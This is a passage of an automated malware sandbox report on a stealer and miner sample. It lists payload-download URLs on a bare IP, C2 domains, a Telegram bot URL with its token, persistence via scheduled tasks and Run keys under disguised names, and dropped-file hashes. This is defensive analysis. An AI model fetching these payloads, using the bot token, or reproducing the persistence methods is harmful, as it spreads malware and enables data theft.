http://31.41.244.11/files/geopoxid/random.exe1	skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.telegram.org/Z	6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://.css	1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	false	high
https://api.telegram.org/G	6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/zhigarko/random.exeu	skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click:443/api	0516ff61af.exe, 0516ff61af.exe, 00000007.00000003.2605595676.0000000001443000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2622110220.0000000001443000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2525794793.0000000005DD6000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2583168665.0000000001443000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/	6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/le.com	6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604374375.000001FED92B9000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605040503.000001FED92BB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604623251.000001FED92BA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/edia	6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E9F1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=uKsqdVCOyF9DZVCd1734801424L	1b73492cb0.exe, 0000002D.00000002.2992166550.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/martin/random.exe.	skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.telegram.org/:	6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.jpg	1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	false	high
https://docs.google.co0	6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.telegram.org/C	6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED9307000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/karl/random.exeegUF	skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o	6eea3e30e9.exe, 0000000D.00000002.2737853612.000001FED9E00000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-autopush.corp.google.com/	6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	6eea3e30e9.exe, 0000000C.00000003.2694074439.000002479E9F1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E9F1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E98B000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2673969567.000002479E9F1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2674242407.000002479E99C000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92DC000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2696735502.000001FED92DC000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000006.00000002.2990887486.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/(F	6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED9348000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2716079916.000001FED9348000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2696520308.000001FED9348000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2695484699.000001FED9348000.00000004.00000020.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPR	1b73492cb0.exe, 0000002D.00000002.2992166550.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://docs.google.com/presentation/installwebapp?usp=chrome_defaultc	6eea3e30e9.exe, 0000000C.00000003.2591782642.000002479E964000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2591752185.000002479E963000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2591837085.000002479E966000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2591472815.000002479E958000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.cloudflare.com/learni	0516ff61af.exe, 00000007.00000003.2501717799.00000000013D6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.121.15.192	home.fivetk5ht.top	Spain	207046	REDSERVICIOES	false
212.193.31.8	unknown	Russian Federation	57844	SPD-NETTR	false
172.217.17.46	drive.google.com	United States	15169	GOOGLEUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
172.217.17.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.67.146	cheapptaxysu.click	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579329
Start date and time:	2024-12-21 18:14:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@79/56@12/12
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0516ff61af.exe, PID 8100 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:16:02	API Interceptor	396318x Sleep call for process: skotes.exe modified
12:16:17	API Interceptor	8x Sleep call for process: 0516ff61af.exe modified
12:16:50	API Interceptor	10x Sleep call for process: powershell.exe modified
12:17:02	API Interceptor	54x Sleep call for process: Gxtuum.exe modified
17:15:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:16:21	Task Scheduler	Run new task: Gxtuum path: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
17:16:27	Task Scheduler	Run new task: MyBootTask path: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
17:16:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Graph C:\Program Files\Windows Media Player\graph\graph.exe
17:16:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Graph C:\Program Files\Windows Media Player\graph\graph.exe
17:16:47	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.121.15.192	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.thirtgt13pt.top/xXjBuasiAlUtxjHhtPcq1734624688
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.tentk10pt.top/HfKLHljvcctMDHZDaAmV1734701446
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pt.top/ORoWtRYgVgDaQibUWeOu1734624689
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
home.fivetk5ht.top	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.121.15.192
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	iuO4kwUi17.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
cheapptaxysu.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.177.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	104.21.67.146
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	172.67.177.88
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.177.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	172.67.177.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	nshmips.elf	Get hash	malicious	Mirai	Browse	34.66.142.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	34.117.59.81
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	34.67.119.59
	NetFxRepairTools.msi	Get hash	malicious	Quasar	Browse	34.117.188.166
	nM0h824cc3.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	nM0h824cc3.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	gTU8ed4669.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	gTU8ed4669.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	34.117.188.166
REDSERVICIOES	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
SPD-NETTR	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	212.193.31.8
	6X4odkIkyK.exe	Get hash	malicious	Amadey	Browse	212.193.31.8
	mips.elf	Get hash	malicious	Mirai	Browse	185.72.8.231
	ppc.elf	Get hash	malicious	Mirai	Browse	185.72.8.231
	nshkmpsl.elf	Get hash	malicious	Mirai	Browse	185.72.8.231
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	2.58.124.230
	63Blg3Psdt.exe	Get hash	malicious	DCRat	Browse	185.118.143.220
	https://vmehy.daxizzobui.top/	Get hash	malicious	Unknown	Browse	195.133.45.183
	http://umjkitjtsk.top/crp/325gewfkj345	Get hash	malicious	Unknown	Browse	195.133.45.183
	http://draggedline.org	Get hash	malicious	Unknown	Browse	45.12.65.149

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.67.146
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	BigProject.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	jqplot.hta	Get hash	malicious	Unknown	Browse	104.21.67.146
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.67.146
37f463bf4616ecd445d4a1937da06e19	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	BigProject.exe	Get hash	malicious	LummaC	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	setup.msi	Get hash	malicious	Unknown	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	jqplot.hta	Get hash	malicious	Unknown	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	Set-up!.exe	Get hash	malicious	LummaC	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	Oggq2dY6kx.exe	Get hash	malicious	Azorult	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.220 172.217.17.65 172.217.17.46 34.117.59.81

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
C:\Program Files\Windows Media Player\graph\graph.exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
File Type:	PNG image data, 438 x 438, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	156917
Entropy (8bit):	7.994509354006501
Encrypted:	true
SSDEEP:	3072:T0ogum1PKnCjOE92xFfR4Iti+Zv95YU9Zq3mLTp1lD+tFre:T0oRCa6Gz4U9+6Q3O+Fre
MD5:	F89267B24ECF471C16ADD613CEC34473
SHA1:	C3AAD9D69A3848CEDB8912E237B06D21E1E9974F
SHA-256:	21F12ABB6DE14E72D085BC0BD90D630956C399433E85275C4C144CD9818CBF92
SHA-512:	C29176C7E1D58DD4E1DEAFCBD72956B8C27E923FB79D511EE244C91777D3B3E41D0C3977A8A9FBE094BAC371253481DDE5B58ABF4F2DF989F303E5D262E1CE4D
Malicious:	false
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive, Description: Detects images embedding archives. Observed in TheRat RAT., Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, Author: ditekSHen
Preview:	.PNG........IHDR................p....IDATx....\|.e....3......D dw6...S..Y.[......#L..g.r.....$XA=.f.............)...?.I.(.dv.3.l..~>~>..3.dw.y.<o.$I......+.a...t..=.h..@......#.....%X...C..TE....6g......0..q.......=.d>..e[-.R..,..$)YN<...2'..$..t.m.<l@...^..sJR.&..$%...c.....-9?a33..K..(+.[.$..2.IRk.xb..&..L..%..:.o....$)...&I..}.@b.u.}lny=...E.?..]IJ..LjK.4..#....$.......5...mK.....$.k.i.2....,8.j..`....C..E&6I....R..DzM.Ci..]..x{.*.H.S.HI2k.....s.Jj..(.....D."IN!..$..t...cE.....S.[t....r(R...>.Pr.. Gt(1.l`......@$I4.c.$..Ew;8.E(..>.AH.....$.d..B..T..d6Fa....$...A.$......Y!..D. I....$5g......@..PL2...a..D."I...U.$.c.O......r.. $I$..$...#..V.(.b..d..M.....cH.q(.v..B.D..M.b9f\>...H@>6.b...2.IR,.0 ..X....$."..$...~.CH.b. :.I.E&6I.EA..!$../:.I.E&6I.I...A.rE. I...&I.....B.h...$I...$).V...!a..C.$Qdb..X.\|':....+:.I.E&6I..:cM4..$c...$I...$)...v.X-:..l.......V..M..A.KE../"ZR_.L..Ll...C.D../..E. I"..&I...fth/uT.y...$.db......y.a.E..X....qH.H2.IR....@..8..

C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	123394
Entropy (8bit):	7.993523589542907
Encrypted:	true
SSDEEP:	1536:NoxiTioXtBWFfsYExW94I9tiiGCidzWdZNF9p3Ymn9Zqmi943C42nYEmL9yqhTjV:yxFfR4Iti+Zv95YU9Zq3mLTp1lD+tFre
MD5:	53E54AC43786C11E0DDE9DB8F4EB27AB
SHA1:	9C5768D5EE037E90DA77F174EF9401970060520E
SHA-256:	2F606D24809902AF1BB9CB59C16A2C82960D95BFF923EA26F6A42076772F1DB8
SHA-512:	CD1F6D5F4D8CD19226151B6674124AB1E10950AF5A049E8C082531867D71BFAE9D7BC65641171FD55D203E4FBA9756C80D11906D85A30B35EE4E8991ADB21950
Malicious:	false
